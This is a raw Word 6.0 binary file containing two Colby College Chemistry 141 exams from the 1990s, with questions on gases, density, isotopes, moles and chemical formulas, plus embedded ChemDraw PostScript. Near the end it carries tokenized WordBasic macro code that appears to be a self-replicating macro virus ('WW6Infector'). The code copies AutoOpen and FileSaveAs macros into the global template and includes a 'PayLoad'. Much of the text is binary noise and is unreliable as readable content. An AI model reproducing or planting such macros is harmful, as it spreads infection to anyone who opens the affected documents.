ࡱ; v  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuwxyz{|}~R F$FȼCompObj\WordDocumentObjectPoolFȼFȼ  FMicrosoft Word 6.0 DocumentNB6WWord.Document.6;  Oh+'0! ' 3 ?KS [g 9Chris:Microsoft Office:Microsoft Word 6:Templates:Normal Name For Colby Use OnlyFor Colby Use Only'@ǼFȼ@v@ǼFȼܥhS  e**NNNNNN XNettttttttyyyyyy&X\Atttttttttttttt,"ttHtName Chemistry 141-Exam 1 1997 Part I. Circle the most correct answer for each of the following 1. In the gaseous state, particles a) move independently and randomly. b) have strong attractions for each other. c) fill the available space because of strong interactions. d) lose energy in time. e) gain energy in time. 2. The density of water is 1.0 g/mL. When 10 grams of Liquid A are mixed with 40 grams of Liquid B the resulting solution has a density of 1.4 g/mL. What conclusion is true? a) The density of Liquid A is greater than the density of Liquid B. b) The density of Liquid B is greater than the density of Liquid A. c) Both liquids are more dense than water. d) At least one of the liquids is more dense than water. e) Neither liquid is more dense than water. 3.In comparing the Kelvin and Celsius temperature scales which one of the following statements is true? a) The difference between the freezing and boiling points of water is 273oC. b) The Kelvin scale has no negative numbers. c) The scales have the same zero point d) -273 K = 0oC. e) ) K = 273oC. 4. Classify each observation as a physical or a chemical property and tally them. Observation 1: Bubbles form on a piece of metal when it is dropped into acid. Observation 2: The color of a crystalline substance is yellow. Observation 3: A shiny metal melts at 650oC. Oberservation 4: The density of a solution is 1.84 g/cm3 a) 2 chemical properties and 2 physical properties b) 3 chemical properties and 1 physical properties c) 1 chemical properties and 3 physical properties d) 4 chemical properties e) 4 physical properties 5. How many electrons are in 79 Se 34 Part II: Short answer questions: (Use your Periodic Table) 6. What is the mass number of an atom of iodine (I) with 76 neutrons? 7. A sample of 1.00 grams of sodium (Na) contains ? moles. 8. To obtain 5.66 x 102 1 atoms of nickel (Ni), you would weigh ___?___ grams 9. According to a movie we saw in class, and using your working knowledge of Periodic Properties, which of the following elements is most reactive to water? Li, Na, K, Rb, Cs 10. How many grams of magnesium (Mg) contain the same number of atoms as 1.00 grams of calcium(Ca)? 11. The chemical properties of germanium (Ge) would be most similar to? 12. Iron is more dense than water. Yet, boats made of steel float (assume steel is all iron . . .it certainly is more dense than water!). Briefly explain how a steel battle ship will float. 13. Carbon routinely bonds with four hydrogen atoms. If you had a molecule composed of silicon and hydrogen, how many hydrogen atoms would you guess to be attached to each silicon atom? 14. Assuming ionic bonding as a model: Which bond would you predict to be stronger C-H or Si-H Na-Cl or Na-Br Cs-I or Li-F 15. What are the three kinds of radiation and how are they recognized? 16. What is a canal ray? Cathode ray? Part III. (Problems from and Like those in the book) 1. Ethylene glycol, C2H6O2, is a liquid that is the base of the antifreeze you use in the radiator of your car. It has a density of 1.1135 g/cm3 at 20oC. If you need 500. mL of this liquid, what mass of the compound, in grams, is required? 2. The solder once used by plumbers to fasten copper pipes together consists of 67% lead and 33% tin. What is the mass of lead (in grams) in a 1.00-lb block of solder? What is the mass of tin? (1 lb = 453.59 g) 3. Bromine has two isotopes: Mass = 78.91 (abundance = 50.7%) and Mass = 80.92 (abundance = 49.3&). What is the average atomic mass? 4. Write formulas for: Calcium carbonate ammonium phosphate aluminum hydrogensulfate barium perchlorate dinitrogen sulfide 5. Morphine has the structure shown: If you have .00200 grams of morphine, how many molecules will there be? 6. What mass of SrCO3 contains 3.25 grams of Sr? 7.A compound is composed of ONLY C and H (a hydrocarbon). The compound is 89.94% carbon. It has a molar mass of 120.2 grams/mole. What is the empirical formula and the molecular formula? ܥe- e'  !!!!!!!!!!!.!"!P!aP!P!P!P!P!P!P!P!P!P!P!P!P!P!P!&T'P!!P! P!P!P!P!P!P!!!P!P!P!P!P!P!!P!!P!P!!!!!!!P!P!P!P!Name Chemistry 141 September 25, 1996 Part I. Circle the most correct answer for each of the following ( 10 points) 1. In the gaseous state, particles a) move independently and randomly. b) have strong attractions for each other. c) fill the available space because of strong interactions. d) lose energy in time. e) gain energy in time. 2. The density of water is 1.0 g/mL. When 10 grams of Liquid A are mixed with 40 grams of Liquid B the resulting solution has a density of 1.4 g/mL. What conclusion is true? a) The density of Liquid A is greater than the density of Liquid B. b) The density of Liquid B is greater than the density of Liquid A. c) Both liquids are more dense than water. d) At least one of the liquids is more dense than water. e) Neither liquid is more dense than water. 3.In comparing the Kelvin and Celsius temperature scales which one of the following statements is true? a) The difference between the freezing and boiling points of water is 273oC. b) The Kelvin scale has no negative numbers. c) The scales have the same zero point d) -273 K = 0oC. e) ) K = 273oC. 4. Classify each observation as a physical or a chemical property and tally them. Observation 1: Bubbles form on a piece of metal when it is dropped into acid. Observation 2: The color of a crystalline substance is yellow. Observation 3: A shiny metal melts at 650oC. Oberservation 4: The density of a solution is 1.84 g/cm3 a) 2 chemical properties and 2 physical properties b) 3 chemical properties and 1 physical properties c) 1 chemical properties and 3 physical properties d) 4 chemical properties e) 4 physical properties 5. How many electrons are in 79 Se 34 Part II: Short answer questions: (40 points) 6. What is the mass number of an atom of iodine (I) with 76 neutrons? 7. A sample of 1.00 grams of sodium (Na) contains ? moles. 8. To obtain 5.66 x 102 1 atoms of nickel (Ni), you would weigh ___?___ grams 9. According to a movie we saw in class, which of the following elements is most reactive to water? Li, Na, K, Rb, Cs 10. How many grams of magnesium (Mg) contain the same number of atoms as 1.00 grams of calcium(Ca)? 11. The chemical properties of germanium (Ge) would be most similar to? 12. Iron is more dense than water. Yet, boats made of steel float (assume steel is all iron . . .it certainly is more dense than water!). Briefly explain how a steel balltle ship will float. 13. Carbon routinely bonds with four hydrogen atoms. If you had a molecule composed of silicon and hydrogen, how many hydrogen atoms would you guess to be attached to each silicon atom? Part III. (50 points) 1. Ethylene glycol, C2H6O2, is a liquid that is the base of the antifreeze you use in the radiator of your car. It has a density of 1.1135 g/cm3 at 20oC. If you need 500. mL of this liquid, what mass of the compound, in grams, is required? 2. The solder once used by plumbers to fasten copper pipes together consists of 67% lead and 33% tin. What is the mass of lead (in grams) in a 1.00-lb block of solder? What is the mass of tin? (1 lb = 453.59 g) /=    -./67}~4Nhi`<=%N]^aopstZ 1 f    + B ]*^a bc ]*a bch ]a bc ]*a bcU]*^a bc U]*a bcT B C W X Y Z [ \       E F G H I J K          UV]*a bc ]*a bch ]*^a bc ]*a bc U]*a bcV     ]*a bch ]*a bc ]*a bch   -./7}~zP)G`p˰l(`0hp @ h 5`0p @P !$'`*0!5`0p @P !$'`*0!5`0p @P !$'`*0 5`0p @P !$'`*04Nhi`<=%NastZ 1 f ) p @P !$)G`p˰l(`0hp @ h!   W X Y Z [ \       ) p @P !$) E F G H I J K          H) p @P !$) p @P !$$ ) p @P !$K@Normala "A@"Default Paragraph Fontjoj WP DefaultsC8`0p@ P !$`'0*- ]a bc,o,Document  ]a bc B    aTimes New Roman Symbol &Arial .Date.WPCodes.WPMacro Chicago Geneva MonacoZapf DingbatsWP-MathAWP-MathBWP-MathExtendedA.POSTNETArrus Blk BT BlackArrus Blk BT Black ItalicArrus BT RomanArrus BT BoldArrus BT ItalicArrus BT Bold ItalicBernhardMod BT RomanBernhardMod BT BoldBernhardMod BT Italic BernhardMod BT Bold ItalicBlackletter686 BT RegularBrush738 BT RegularCaslonOpnface BT RegularGeoSlab703 Lt BT Light#GeoSlab703 Lt BT Light ItalicHumanst521 Cn BT RegularHumanst521 Cn BT BoldHumanst521 Lt BT Light#Humanst521 Lt BT Light ItalicOnyx BT RegularOzHandicraft BT RomanRibbon131 Bd BT BoldShelleyVolante BT RegularSwis721 BlkEx BT Black EngraversGothic BT RegularWingdings VT100 Vivaldi Times Symbol StencilPalatinoNew YorkMT ExtraMS LineDrawMonotype Sorts Mistral ImpactHelvetica CourierCentury SchoolbookBritannic BoldBookman Old StyleBook AntiquaBauhaus 93 Arial%MAdobeSanMM_1450 50%MAdobeSanMM_1450 1450%MAdobeSanMM_50 50%MAdobeSanMM_50 1450!M:d  S&WordMicrosoft Word&Word JL  2 @@$Use Word 6.0c or later to 2 @$view Macintosh picture. LJ CHMDGrphbjdCDIFVjCD0100ChemDraw 4.0.1Untitled Document-1.D 2  (2 E+$$$$xx  `  xhh N (hh t2 HK'dS800' HelveticaK J8 6 `CN}G~N h4 2 `Cl}e~l wC A `C{t{ hڴ7 5 `Clڰeڱlڷ Jڴ6 4`CHNڰGN+  ;5 3`CH 70?+           D B `C   s: 8`CH{+ s; 9`CH{+  @ >`CH + @A ?`CH@+ @B @ `C@@@       H F`CH2+ wG E`CH2{t}+    E C`CH2}w+!  "  F D`CH2+# ! "$ "J H `N% #"$& $$' %&&I G`CH3&& +( &$') 'Mfo9 7 `OMj|&l&s* ()+ )), *f@g< : `Ofbdk- +,. ,f3@m0 . `Of7h0j7q/ -.1 /f3@O3 1 `Hf7@K0L7R2 0.1= ;ZfI? = `HZfE&F&L> <,=dCHMDSTRG.D   x (XP`6   L  !!    U 6) ) & L& K KD  "'% '\*,1/;           !&# $(+)-0<CCCCCHCHCCHCH CH CH C CH2 CH2CH2CH2NCH3OOOHH `` T/.HL `` T1Lh `` p 2 p P `` M 3  X ``  4  `` p 5 p] ``  6  P ``  VZ7 s N ``  8  `` c 9 d  `` :\ `` l=S{ ``  > D X ``  ?  ``  / @ /e ``  A  W ``  B h W ``  C L  ``  D  \ ``  E  D ``  F h D `` wcG t ``  /H  4\ HelveticadCHMDUntitled Document-1dCHMDhh N (hh t2 HK'dS80000'vswsD2  Helveticad! D@D9% ! D@D% ! DD% ! D@D% ! D@D9%b! DD%b '.( ' '.( ' '.( '! DD@%  ' ! D@D%b! D@D@%b! DE%b! D@D%b! D@D@%  '  ' ' '( ' ' ! E`D@%b! E`D%b ' 'Q '! DD%b ' )! E D%b ' )R! ED@ '" ) '")! ED@%b '"%! DD '' ''! DE '*! D@C ',! DEC ',.! D6E '*0dDARC-F1CHEMDRAW 4.0UNTITLED DOC970923083700C M C M C w C  C  C  C ; C L C L C   C  C   C < C w C ^ C ^  N   C CO )eO  O %H H $$$$count   currentpoint 192837465 ! currentpoint  " save/chemsave exch def %%BeginProcSet: chemdict30 24 11 % ChemDraw Laser Prep % Copyright 1985-1997, CambridgeSoft Corp., All Rights Reserved userdict/chemdict30 210 dict put chemdict30 begin/version 24 def/sv 11 def/b{bind def}bind def/L{load def}b/R{null def}b/d/def L/a/add L/al/aload L/as/astore L/at/atan L/cp/closepath L/cv/curveto L/cw/currentlinewidth L/cpt/currentpoint L/dv/div L/D/dup L/e/exch L/F/false L/f/fill L/fa/forall L/g/get L/gi/getinterval L/gr/grestore L/gs/gsave L/ie/ifelse L/ix/index L/l/lineto L/mt/matrix L/M/moveto L/m/mul L/n/neg L/np/newpath L/pb/pathbbox L/P/pop L/r/roll L/rm/rmoveto L/ro/rotate L/rp/repeat L/ru/round L/sc/scale L/sl/setlinewidth L/sm/setmatrix L/st/stroke L/sp/strokepath L/sq/sqrt L/s/sub L/T/true L/tr/transform L/xl/translate L/xc/exec L/A R/N R/St R/X R/Y R/aL R/bL R/bS R/bd R/bs R/cX R/cY R/ch R/co R/fB R/fI R/fS R/fZ R/fl R/ft R/iX R/iY R/idx R/lh R/llx R/lly R/lp R/nH R/nSq R/newdict R/ps R/rad R/rev R/sL R/sba R/sbl R/sbs R/sn R/spa R/tB R/typ R/urx R/ury R/w R/wF R/xX R/xY R/rBg R/gBg R/bBg R/gry R/rDst R/gDst R/bDst R/cpd R/Aeq R/Ath R/Aos R/Ach R/ed R/sf 20 d/cW 20 d/lW 20 d/bW 75 d/wF 1.5 d/aF 11.875 d/aR 0.263 d/aA 50 d/hS 54 d/pA 32 d/sh F d/S{sf m}b/dL{[hS] 0 setdash}b/o{1 ix}b/rot{3 -1 r}b/x{e d}b/CMT mt d/TM mt d/SM{CMT sm}b/XY{X D m Y D m a sq}b/s1 1 string d/fp{T charpath flattenpath}b/p{tr ru 0.25 a e ru 0.25 a e itransform}b/C{65536. dv rot 65536. dv rot 65536. dv rot setrgbcolor}b/sg{D currenthsbcolor P rot sethsbcolor currenthsbcolor e P e P o s D m .001 gt{setgray}{P}ie}b/sBg{65535 dv/bBg x 65535 dv/gBg x 65535 dv/rBg x}b/sRmp{currentrgbcolor bBg e s/bDst x gBg e s/gDst x rBg e s/rDst x}b/N 0 d/db{array/bs x/N 0 d}b/B{bs N rot put/N N 1 a d}b/SpA{gs np o o xl rot s e rot s o 0 ne o 0 ne or{at ro}{P P}ie aR aL m n D aL a 0 p M 0 o n aA n aA arc cp f gr}b/SpH{gs np o o xl rot s e rot s o 0 ne o 0 ne or{at ro}{P P}ie 0 cw 2 dv xl aR aL m n D aL a 0 p M 0 o n aA n 0 arc cp f gr}b/Sp{/St x 0.316/aR x gs aF lW m 0.8 m St 4 and 0 ne{bW m lW dv bW sl}if/aL x St 8 and 0 ne{8 ix 8 ix 3 ix 3 ix SpA}if St 16 and 0 ne{2 ix 6 m 1 a D ix e D ix e D ix e D ix e P SpA}if St 32 and 0 ne{8 ix 8 ix 3 ix 3 ix SpH}if St 64 and 0 ne{2 ix 6 m 1 a D ix e D ix e D ix e D ix e P SpH}if St 2 and 0 ne{St 4 and 0 ne{[hS bW m lW dv] 0 setdash}{dL}ie}if np M{cv}rp St 128 and 0 ne{f}{st}ie gr}b/Ha{gs np 3 1 r xl D sc -.7 1.4 p M 0.7 1.4 p l -.7 2.4 p M 0.7 2.4 p l SM st gr}b/OP{3 ix 3 ix xl 3 -1 r s 3 1 r e s o o at ro D m e D m a sq}b/OB{/bS x OP D bS dv D lW 2 m lt{P lW 2 m}if/bd x}b/DA{np 0 0 M aL 0 aR aL m 180 aA s 180 aA a arc cp f}b/OA{np 0 cw -2 dv M aL 0 aR aL m 180 aA s 180 arc 0 cw -2 dv rlineto cp f}b/Ast{SM cw 0.8 m sl st}b/SA{aF m lW m/aL x 0.263/aR x aL 1 aR s m np 0 p M rad 0 p l gs Ast gr}b/CA{aF lW m 0.8 m/aL x 0.316/aR x aL 1 aR s m 2 dv rad D m o D m s D 0 le{P P P}{sq at 2 m np rad 0 rad 180 6 -1 r s 180 6 -1 r s arc gs Ast gr cpt e at ro}ie}b/AA{np rad 0 rad 180 180 6 -1 r a arc gs SM st gr}b/RA{lW m/w x np rad w p M w .7 dv w p l rad w n p M w .7 dv w n p l w .35 dv w 2 m p M 0 0 p l w .35 dv w -2 m p l st}b/HA{lW m/w x np 0 0 p M w 2 m D p l w 2 m w p l rad w p l rad w n p l w 2 m w n p l w 2 m D n p l cp st}b/Ar1{gs 5 1 r OP/rad x{{2.25 SA DA}{1.5 SA DA}{1 SA DA}{lW 4 m sl 4.5 SA DA}{lW 4 m sl 3 SA DA}{lW 4 m sl 2 SA DA}{270 CA DA}{180 CA DA}{120 CA DA}{90 CA DA}{2.5 RA}{2.5 HA}{1 -1 sc 270 CA DA}{1 -1 sc 180 CA DA}{1 -1 sc 120 CA DA}{1 -1 sc 90 CA DA}{5 RA}{5 HA}{dL 2.25 SA DA}{dL 1.5 SA DA}{dL 1 SA DA}{2.25 SA OA}{1.5 SA OA}{1 SA OA}{1 -1 sc 2.25 SA OA}{1 -1 sc 1.5 SA OA}{1 -1 sc 1 SA OA}{270 CA OA}{180 CA OA}{120 CA OA}{90 CA OA}{1 -1 sc 270 CA OA}{1 -1 sc 180 CA OA}{1 -1 sc 120 CA OA}{1 -1 sc 90 CA OA}{1 -1 sc 270 AA}{1 -1 sc 180 AA}{1 -1 sc 120 AA}{1 -1 sc 90 AA}}e g xc gr}b/ac{arcto 4{P}rp}b/rO{4 lW m}b/Cr{0 0 1 0 360 arc}b/Ac{XY D sc Cr SM}b/OrA{Y X at ro XY D rev{neg}if sc}b/Ov{OrA 1 0.4 sc Cr SM}b/Asc{OrA 1 27 dv D sc}b/LB{9 -6 M 21 -10 27 -8 27 0 cv 27 8 21 10 9 6 cv -3 2 -3 -2 9 -6 cv cp}b/DLB{0 0 M -4.8 4.8 l -8 8 -9.6 12 -9.6 16.8 cv -9.6 21.6 -8 24.6 -4.8 25.8 cv -1.6 27 1.6 27 4.8 25.8 cv 8 24.6 9.6 21.6 9.6 16.8 cv 9.6 12 8 8 4.8 4.8 cv cp}b/ZLB{LB}b/dt{gs np M SM cpt np rot 4.5 dv 0 360 arc f gr}b/whf{gs 1 setgray f gr SM st}b/blf{gs f gr SM st}b/Rr{0 rO p M 0 Y X Y rO ac X Y X 0 rO ac X 0 0 0 rO ac 0 0 0 Y rO ac cp}b/Rc{0 0 p M 0 Y p l X Y p l X 0 p l cp}b/grf{gs 0.5 sg f gr SM st}b/gG{D 32 dv D m 1 e s/gry x currentrgbcolor bDst gry m a 3 1 r gDst gry m a 3 1 r rDst gry m a 3 1 r setrgbcolor}b/gS{dtransform CMT idtransform m D 0 lt{n}if sq n D CMT dtransform idtransform e 2 m e xl 7 m 32 a 256 dv D sc}b/gLB{sh{sRmp 32 -0.5 0.5{gs gG 13.5 0 xl D 32 s 64 dv 13.5 m D 7 m 24 dv gS -13.5 0 xl LB f gr}for LB SM st}{LB grf}ie}b/gOv{sh{sRmp 32 -0.5 0.5{gs gG D 32 s 64 dv 0.65 m D gS Cr f gr}for Cr SM st}{Cr grf}ie}b/gAc{sh{sRmp 32 -0.5 0.5{gs gG D 32 s 64 dv D gS Cr f gr}for Cr SM st}{Cr grf}ie}b/gDLB{sh{sRmp 32 -0.5 0.5{gs gG 0 13.5 xl D 32 s 64 dv 13.5 m D 7 m 24 dv e gS 0 -13.5 xl DLB f gr}for DLB SM st}{DLB grf}ie}b/gRr{sh{sRmp 32 -0.5 0.5{gs gG X 2 dv Y 2 dv xl D 32 s 64 dv X Y lt{X}{Y}ie m 0.25 m D gS X -2 dv Y -2 dv xl Rr f gr}for Rr SM st}{Rr grf}ie}b/gRc{sh{sRmp 32 -0.5 0.5{gs gG X 2 dv Y 2 dv xl D 32 s 64 dv X Y lt{X}{Y}ie m 0.25 m D gS X -2 dv Y -2 dv xl Rc f gr}for Rc SM st}{Rc grf}ie}b/gZLB{gLB}b/Ath{Y X at ro XY 2 dv/rad x gs D SA DA gr rad 2 m 0 xl 180 ro SA DA}b/Aeq{Y X at ro XY/rad x rev{1 -1 sc}if gs 0 lW 2 m xl D SA OA gr rad 0 xl 180 ro 0 lW 2 m xl SA OA}b/Aos{X Y M SM cpt xl XY e dv D sc}b/Ach{5 Aos gs/Helvetica findfont[1 0 0 -1 0 0]makefont 5.5 scalefont setfont D stringwidth P 2 dv D 1 a/rad x n 0 M show gr rad 2 s -5 p M rad n -5 rad n 1 2 ac rad n 1 rad 1 2 ac rad 1 rad -5 2 ac rad -5 rad n -5 2 ac cp Ast}b/Ar{D 39 lt{Ar1}{gs 5 1 r o o xl 3 -1 r e s 3 1 r s e o 0 lt o 0 lt ne/rev x D 0 lt{1 -1 sc neg}if/Y x D 0 lt{-1 1 sc neg}if/X x np{{Y 16 div D 2 S lt{P 2 S}if/lp x lp 0 p M 0 0 p l 0 Y p l lp Y p l X lp s 0 p M X 0 p l X Y p l X lp s Y p l SM st}{Y 16 div D 2 S lt{P 2 S}if/lp x lp 0 p M 0 0 0 Y lp ac 0 Y 2 dv lp neg o lp ac 0 Y 2 dv 0 Y lp ac 0 Y lp Y lp ac X lp s 0 p M X 0 X Y lp ac X Y 2 dv X lp a o lp ac X Y 2 dv X Y lp ac X Y X lp s Y lp ac SM st}{Y D 2 dv Y 180 pA s 180 pA a arc st np X Y s Y 2 dv Y pA D neg arcn st}{Rc SM st}{X lW 2 dv a lW -2 dv p M rO D rlineto X lW 2 dv a rO a Y lW 2 dv a rO a p l rO lW -2 dv a Y lW 2 dv a rO a p l lW -2 dv Y lW 2 dv a p l 0 Y p l X Y p l X 0 p l cp f 0 0 p M 0 Y p l X Y p l X 0 p l cp SM st}{Rr SM st}{rO Y p M rO rO xl 0 Y X Y rO ac X Y X 0 rO ac X 0 0 0 rO ac rO neg D xl X Y 0 Y rO ac cp f Rr st}{Ac st}{OrA gAc}{Ov st}{OrA 1 .4 sc gOv}{Asc LB whf}{Asc gLB}{Asc gs gLB gr -1 -1 sc LB whf}{Asc gs gLB gr -0.4 -0.4 sc LB whf}{Asc LB gs whf gr np -0.4 -0.4 sc gLB}{Asc DLB -1 -1 sc DLB gs whf gr np 90 ro gs gDLB gr -1 -1 sc gDLB}{Asc gs -1 -1 sc ZLB whf gr gs 3.6 12 sc gOv gr ZLB whf}{Asc gs -1 -1 sc gZLB gr gs 3.6 12 sc Cr whf gr gZLB}{0 0 p M X Y p l SM st}{bW sl 0 0 p M X Y p l SM st}{dL 0 0 p M X Y p l SM st}{OrA 1 16 dv D sc 0 -1 p M 0 0 1 0 1 ac 8 0 8 1 1 ac 8 0 16 0 1 ac 16 0 16 -1 1 ac SM st}{XY D 0 0 dt X Y dt}{XY 2 dv X Y dt}{XY D X Y dt 0 0 M SM cpt xl 2 dv D sc 1 0 M -1 0 l 0 1 M 0 -1 l Ast}{XY D X Y dt 0 0 M SM cpt xl 2 dv D sc 1 0 M -1 0 l Ast}{4.5 Aos 1 0 M -1 0 l 0 1 M 0 -1 l 2 0 M 0 0 2 0 360 arc Ast}{4.5 Aos 1 0 M -1 0 l 2 0 M 0 0 2 0 360 arc Ast}{2.25 Ath}{1.5 Ath}{1 Ath}{2.25 Aeq}{1.5 Aeq}{1 Aeq}{OrA 1 16 dv D sc 0 -1 p M 0 0 p l 16 0 p l 16 -1 p l SM st}{5 Aos 1 -1 M -1 -1 l 0 2 M 0 -2 l Ast}{5 Aos 1 -1 M -1 -1 l 1 1 M -1 1 l 0 2 M 0 -2 l Ast}{4.5 Aos 1 0 M -1 0 l 0 1 M 0 -1 l Ast}{4.5 Aos 1 0 M -1 0 l Ast}{gRc}{gRr}{Rc blf}{Rr blf}{Ac blf}{Ov blf}{Asc DLB -1 -1 sc DLB gs whf gr np 90 ro DLB -1 -1 sc DLB blf}{Asc gs -1 -1 sc ZLB blf gr gs 3.6 12 sc Cr whf gr ZLB blf}{Asc gs -1 -1 sc ZLB whf gr gs 3.6 12 sc Cr blf gr ZLB whf}{Asc LB gs whf gr np -0.4 -0.4 sc LB blf}{Asc LB gs f gr gs SM st gr np -0.4 -0.4 sc LB whf}{Asc LB blf}{Asc LB gs f gr gs SM st gr np -1 -1 sc LB whf}{Ac whf}{OrA gAc}{Ac blf}{Ov whf}{OrA 1 .4 sc gOv}{Ov blf}{(Rac)Ach}{(Abs)Ach}{(Rel)Ach} }e 39 s g xc gr}ie}b/DS{np p M p l st}b/DD{gs dL DS gr}b/DB{gs 12 OB bW sl np 0 0 p M 0 p l st gr}b/ap{e 3 ix a e 2 ix a}b/PT{D 2 4 gi al P OP D 1 sc o length 6 gt{P 6 g}{e P 8 dv}ie D lW 2 m lt{P lW 2 m}if 0 e p 0 0 p 3 -1 r s 3 1 r e s e 0 0 p M 1 0 p l 0 0 p ap M 1 0 p ap l e n e n 0 0 p ap M 1 0 p ap l P P}b/DT{gs np PT SM st gr}b/NH{lW s D hS dv ru cvi D 0 eq{P 1}if/nH x D hS nH m s D 0 lt{P .1 s nH dv}{nH 2 a dv D 0 xl 2 m s nH dv}ie}b/Bd{D type/arraytype ne{bs e g}if{{P}{{{DS}{DD}{gs 12 OB np bW 2 dv/bd x lW 2 dv e D NH e{D bd p M bd n p l}for st gr}{gs 12 OB np lW 2 dv 0 xl NH 1 sc bW 2 dv wF m nH 1 a dv/bd x 0 1 nH{D 1 a bd m o o p M n p l}for SM st gr}{P}{DB}{gs 12 OB np 0 lW 2 dv o o n p M p l bW 2 dv wF m o o p l n p l cp f gr}{P}{gs 12 OB/bL x bW 2 dv D lW lt{P lW}if/bd x np 0 0 p M bL bd 4 m dv ru 2 o o lt{e}if P cvi/nSq x bL nSq 2 m dv D sc nSq{.135 .667 .865 .667 1 0 rcurveto .135 -.667 .865 -.667 1 0 rcurveto}rp SM st gr}{gs 12 OB np 0 lW 2 dv o o n p M p l bW 2 dv wF m o o p l n p l cp SM lW 0.8 m sl st gr}{P}{4 2 r gs OP/rad x 1 SA DA gr}{P}}o 1 g 1 s g e 2 4 gi al P 5 -1 r xc}{al P 8 ix 1 eq{DD}{DS}ie 5 -1 r 2 eq{DB}{DS}ie P}{DT}}o 0 g g xc}b/ed{gs cpt np cw 2 dv 0 360 arc f gr}b /SP{/sf x/lW x/bW x/cW x SPn}b/SPn{gs count 9 ge 7 ix 192837465 eq and{7 -1 r P 6 -2 r o o xl 7 -1 r s e 7 -1 r s e 5 -1 r dv neg e 5 -1 r dv neg e sc neg e neg e xl}{xl P P}ie 1 1 S dv D sc CMT currentmatrix P lW sl 4.0 setmiterlimit np}b ""=""A"=A "G["DY"6q"m"k"A"OW"jR"z="D "["Y"q"j[ "uu,HjHRZj"b "=u "e[qVZenVj[ne[eZVj"VqTxXTXXxTxT"]q\rrr^\r"wu)qtuztzxuwut"{ "?:"p:"7 ":"$"end %%EndProcSet 40 80 20 20 54 chemdict30 begin/hS x/sf x/lW x/bW x/cW x/sh T d 200 177 0 1 SPn/origstk x 65535 65535 65535 sBg 0 0 0 C gs 1220 680 M 1220 1080 ed l ed st gr gs 1292 680 M 1292 1080 ed l ed st gr gs 1298 1215 M 1656 1422 ed l ed st gr gs 1817 1425 M 2167 1222 ed l ed st gr gs 1781 1363 M 2131 1160 ed l ed st gr gs 2257 1080 M 2257 680 ed l ed st gr gs 2176 523 M 1817 316 ed l ed st gr gs 2140 585 M 1781 378 ed l ed st gr gs 1298 525 M 1647 324 ed l ed st gr gs 1739 1580 M 1739 1980 ed l ed st gr gs 1646 2121 M 1379 2268 ed l ed st gr gs 1213 2440 M 1213 2840 ed l ed st gr gs 1359 3046 M 1656 3222 ed l ed st gr gs 1819 3227 M 2173 3034 ed l ed st gr gs 1785 3164 M 2139 2971 ed l ed st gr gs 2265 2880 M 2265 2500 ed l ed st gr gs 1817 2117 M 2181 2335 ed l ed st gr gs 2336 2341 M 2696 2118 ed l ed st gr gs 2774 1960 M 2774 1580 ed l ed st gr gs 65535 65535 65535 C 2724 1805 M 2824 1805 l 2824 1645 l 2724 1645 l cp f gr gs 2337 1216 M 2694 1424 ed l ed st gr np 2121 1728 M 2191 1826 l 1823 2018 l 1803 2018 l cp f np 2960 1685 M 2960 1765 l 2400 1765 l 2400 1685 l cp f np 3252 2270 M 3232 2270 l 3050 1885 l 3164 1847 l cp f np 3180 2325 M 3180 2445 l 2340 2395 l 2340 2375 l cp f gs 3362 2452 M 3608 2652 ed l ed st gr gs 1157 1257 M 922 1581 ed l ed st gr gs 1150 2231 M 913 1748 ed l ed st gr gs 1098 3031 M 786 3227 ed l ed st gr gs 1160 501 M 889 191 ed l ed st gr gs 720 121 M 300 119 ed l ed st gr gs 599 3291 M 185 3330 ed l ed st gr gr count origstk sub{P}rp end chemsave restore ,  Helvetica .+9!C*C+C(?mC(!mC)H( SH*C*ZC(y6C)H(6C)H+C*H(mC)H({mC(kC)H +2 (NC)H +2 (PlH +2 (ZlC))C)H +2 ({N+C)H +3 (W'O(O( %O( H(HdiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fSummaryInformation(@Microsoft Word 6.0.12; vun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs lidlgs ldisMe$ g%disTMacro$ isMe$j :AutoOpendg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZAOdg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZFSdg€j Global:AAAZFSisTMacro$disTMacro$ isMe$j:PayLoaddg€jGlobal:PayLoadisTMacro$dgTidlgd*iDonedeBaildiErr lfdRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortd  ')0lU)JK\]`st   " 9 : t v     8MN*Nu ]bch uDbcbc]bh UV]bc ]^bc]bhbhb]b]b]bc U]^bc U]bcH   ()1kl!;UV$$$$$$$$$$W$W$W$W$W$(G`pğl(`0hp@  h5`0p@ P !$`'0* 5`0p@ P !$`'0* 5`0p@ P !$`'0*5`0p@ P !$`'0*VM)*;N`aGw S n $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$) p@ P !$(G`pğl(`0hp@  h"   N  N  #1BQG_r$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$,p@ P !$H) p@ P !$) p@ P !$78jk*$<$,$$$K@Normala "A@"Default Paragraph 